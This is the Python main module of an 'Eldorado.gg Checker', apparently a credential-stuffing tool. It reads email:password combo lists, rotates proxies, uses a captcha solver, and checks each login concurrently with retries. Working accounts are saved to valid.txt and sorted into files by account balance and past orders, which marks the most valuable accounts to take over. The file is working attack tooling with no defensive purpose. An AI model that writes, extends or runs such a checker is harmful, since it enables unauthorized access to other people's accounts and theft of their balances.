import asyncio
import contextlib
import itertools
import signal
import time
from dataclasses import dataclass, field
from datetime import datetime, timezone

from . import eldorado
from .config import INPUT, load_combos, load_config, load_proxies

_shutdown = asyncio.Event()


@dataclass
class Stats:
    valid: int = 0
    invalid: int = 0
    error: int = 0
    balance: int = 0
    orders: int = 0
    rate_limited: int = 0
    done: int = 0
    total: int = 0
    _lock: asyncio.Lock = field(default_factory=asyncio.Lock, repr=False)

    async def inc(self, name):
        async with self._lock:
            setattr(self, name, getattr(self, name) + 1)


class Cycle:
    def __init__(self, items):
        self._it = itertools.cycle(items)
        self._lock = asyncio.Lock()

    async def next(self):
        async with self._lock:
            return next(self._it)


_write_lock = asyncio.Lock()


async def _write(path, text):
    async with _write_lock:
        def _do():
            with path.open("a", encoding="utf-8") as f:
                f.write(text)
        await asyncio.to_thread(_do)


async def _save(path, line):
    await _write(path, f"{line}\n")


async def _log(path, msg):
    ts = datetime.now(tz=timezone.utc).astimezone().strftime("%H:%M:%S")
    await _write(path, f"[{ts}] {msg}\n")


async def process(combo, idx, cfg, proxy_cycle, stats, run_dir, log_file):
    email, password = combo
    result = "ERROR"
    info = ""

    for attempt in range(cfg.retry + 1):
        if _shutdown.is_set():
            return
        proxy = await proxy_cycle.next()
        try:
            result, info = await eldorado.check(
                email=email, password=password, proxy=proxy,
                cap_key=cfg.cap_key, solver=cfg.solver,
                timeout=cfg.timeout,
                log_fn=lambda msg: _log(log_file, msg),
            )
        except Exception as exc:
            result = "ERROR"
            info = f"{type(exc).__name__}: {exc}"

        if result != "ERROR" or attempt >= cfg.retry:
            break
        print(f"  [{idx}/{stats.total}] [RETRY {attempt + 1}/{cfg.retry}] {email} | {info}")
        await _log(log_file, f"RETRY  {email}:{password} | {attempt + 1}/{cfg.retry} | {info}")

    await stats.inc("done")

    # Handle rate limited separately
    if result == "RATE_LIMITED":
        await stats.inc("rate_limited")
        s = f"V:{stats.valid} B:{stats.balance} O:{stats.orders} I:{stats.invalid} E:{stats.error} RL:{stats.rate_limited}"
        tag = f"[{idx}/{stats.total}]"
        print(f"  {tag} [~] RATE LIMITED {email} | {info} | {s}")
        await _log(log_file, f"RATE_LIMITED  {email} | {info}")
        await _save(run_dir / "rate_limited.txt", f"{email}:{password} | {info}")
        return

    # Increment counters based on result type
    if result in ("VALID", "VALID_WITH_BALANCE", "VALID_WITH_ORDERS", "VALID_WITH_BALANCE_AND_ORDERS"):
        await stats.inc("valid")
    if result in ("VALID_WITH_BALANCE", "VALID_WITH_BALANCE_AND_ORDERS"):
        await stats.inc("balance")
    if result in ("VALID_WITH_ORDERS", "VALID_WITH_BALANCE_AND_ORDERS"):
        await stats.inc("orders")
    if result == "INVALID":
        await stats.inc("invalid")
    if result == "ERROR":
        await stats.inc("error")

    s = f"V:{stats.valid} B:{stats.balance} O:{stats.orders} I:{stats.invalid} E:{stats.error}"
    tag = f"[{idx}/{stats.total}]"

    if result == "VALID_WITH_BALANCE_AND_ORDERS":
        print(f"  {tag} [+] VALID WITH BALANCE & ORDERS  {email}:{password} | {info} | {s}")
        await _log(log_file, f"VALID_WITH_BALANCE_AND_ORDERS  {email}:{password} | {info}")
        await _save(run_dir / "valid.txt", f"{email}:{password}")

        # Parse balance info for with_balance.txt
        balance_match = info.split("Balance: $")[1].split(" |")[0] if "Balance: $" in info else "unknown"
        await _save(run_dir / "with_balance.txt", f"{email}:{password} | Balance: ${balance_match}")

        # Parse order info for with_orders.txt
        balance_match = info.split("Balance: $")[1].split(" |")[0] if "Balance: $" in info else "unknown"
        orders_match = info.split("Orders: ")[1].split(" |")[0] if "Orders: " in info else "unknown"
        best_order_match = info.split("BestOrder: $")[1].split(" |")[0] if "BestOrder: $" in info else "unknown"
        best_order_date_match = info.split("BestOrderDate: ")[1] if "BestOrderDate: " in info else "unknown"
        await _save(run_dir / "with_orders.txt", f"{email}:{password} | Balance: ${balance_match} | Orders: {orders_match} | BestOrder: ${best_order_match} | BestOrderDate: {best_order_date_match}")
    elif result == "VALID_WITH_BALANCE":
        print(f"  {tag} [+] VALID WITH BALANCE  {email}:{password} | {info} | {s}")
        await _log(log_file, f"VALID_WITH_BALANCE  {email}:{password} | {info}")
        await _save(run_dir / "valid.txt", f"{email}:{password}")

        # Parse balance info for with_balance.txt
        balance_match = info.split("Balance: $")[1].split(" |")[0] if "Balance: $" in info else "unknown"
        await _save(run_dir / "with_balance.txt", f"{email}:{password} | Balance: ${balance_match}")
    elif result == "VALID_WITH_ORDERS":
        print(f"  {tag} [+] VALID WITH ORDERS  {email}:{password} | {info} | {s}")
        await _log(log_file, f"VALID_WITH_ORDERS  {email}:{password} | {info}")
        await _save(run_dir / "valid.txt", f"{email}:{password}")

        # Parse order info for with_orders.txt
        balance_match = info.split("Balance: $")[1].split(" |")[0] if "Balance: $" in info else "unknown"
        orders_match = info.split("Orders: ")[1].split(" |")[0] if "Orders: " in info else "unknown"
        best_order_match = info.split("BestOrder: $")[1].split(" |")[0] if "BestOrder: $" in info else "unknown"
        best_order_date_match = info.split("BestOrderDate: ")[1] if "BestOrderDate: " in info else "unknown"
        await _save(run_dir / "with_orders.txt", f"{email}:{password} | Balance: ${balance_match} | Orders: {orders_match} | BestOrder: ${best_order_match} | BestOrderDate: {best_order_date_match}")
    elif result == "VALID":
        print(f"  {tag} [+] VALID  {email}:{password} | {info} | {s}")
        await _log(log_file, f"VALID  {email}:{password} | {info}")
        await _save(run_dir / "valid.txt", f"{email}:{password}")
    elif result == "INVALID":
        print(f"  {tag} [-] invalid {email} | {info} | {s}")
        await _log(log_file, f"INVALID  {email} | {info}")
    else:
        print(f"  {tag} [!] error  {email} | {info} | {s}")
        await _log(log_file, f"ERROR  {email} | {info}")
        await _save(run_dir / "error.txt", f"{email}:{password} | {info}")


async def worker(queue, cfg, proxy_cycle, stats, run_dir, log_file):
    while not _shutdown.is_set():
        try:
            idx, combo = queue.get_nowait()
        except asyncio.QueueEmpty:
            return
        try:
            await process(combo, idx, cfg, proxy_cycle, stats, run_dir, log_file)
        except asyncio.CancelledError:
            break
        except Exception:
            pass
        finally:
            queue.task_done()


def _handle_signal():
    if not _shutdown.is_set():
        print("\n  Ctrl+C, shutting down...")
        _shutdown.set()


async def run():
    cfg = load_config()
    proxy_list = load_proxies()
    combo_list = load_combos()
    proxy_cycle = Cycle(proxy_list)

    run_dir = INPUT.parent / "output" / datetime.now(tz=timezone.utc).astimezone().strftime("%Y-%m-%d_%H-%M-%S")
    run_dir.mkdir(parents=True, exist_ok=True)
    log_file = run_dir / "log.txt"

    stats = Stats(total=len(combo_list))

    print()
    print("  Eldorado.gg Checker")
    print(f"  Output: {run_dir}")
    print()
    print(f"  combos:  {len(combo_list)}")
    print(f"  proxies: {len(proxy_list)}")
    print(f"  workers: {cfg.worker}")
    print(f"  solver:  {cfg.solver}")
    print(f"  retry:   {cfg.retry}")
    print()

    await _log(log_file, f"START | combos={len(combo_list)} | proxies={len(proxy_list)} | workers={cfg.worker}")

    queue = asyncio.Queue()
    for i, combo in enumerate(combo_list, 1):
        queue.put_nowait((i, combo))

    loop = asyncio.get_running_loop()
    try:
        loop.add_signal_handler(signal.SIGINT, _handle_signal)
        loop.add_signal_handler(signal.SIGTERM, _handle_signal)
    except NotImplementedError:
        signal.signal(signal.SIGINT, lambda *_: _handle_signal())

    t0 = time.time()

    tasks = [
        asyncio.create_task(worker(queue, cfg, proxy_cycle, stats, run_dir, log_file))
        for _ in range(cfg.worker)
    ]

    _, pending = await asyncio.wait(tasks, return_when=asyncio.ALL_COMPLETED)
    for t in pending:
        t.cancel()
    if pending:
        await asyncio.gather(*pending, return_exceptions=True)

    m, s = divmod(int(time.time() - t0), 60)

    print()
    if _shutdown.is_set():
        print(f"  STOPPED {stats.done}/{stats.total} | VALID: {stats.valid} | INVALID: {stats.invalid} | ERROR: {stats.error} | {m}m{s}s")
    else:
        print(f"  DONE {stats.done}/{stats.total} | VALID: {stats.valid} | INVALID: {stats.invalid} | ERROR: {stats.error} | {m}m{s}s")
    print()

    await _log(log_file, f"{'STOPPED' if _shutdown.is_set() else 'DONE'} {stats.done}/{stats.total} | V={stats.valid} I={stats.invalid} E={stats.error} | {m}m{s}s")


def main():
    with contextlib.suppress(KeyboardInterrupt, SystemExit):
        asyncio.run(run())
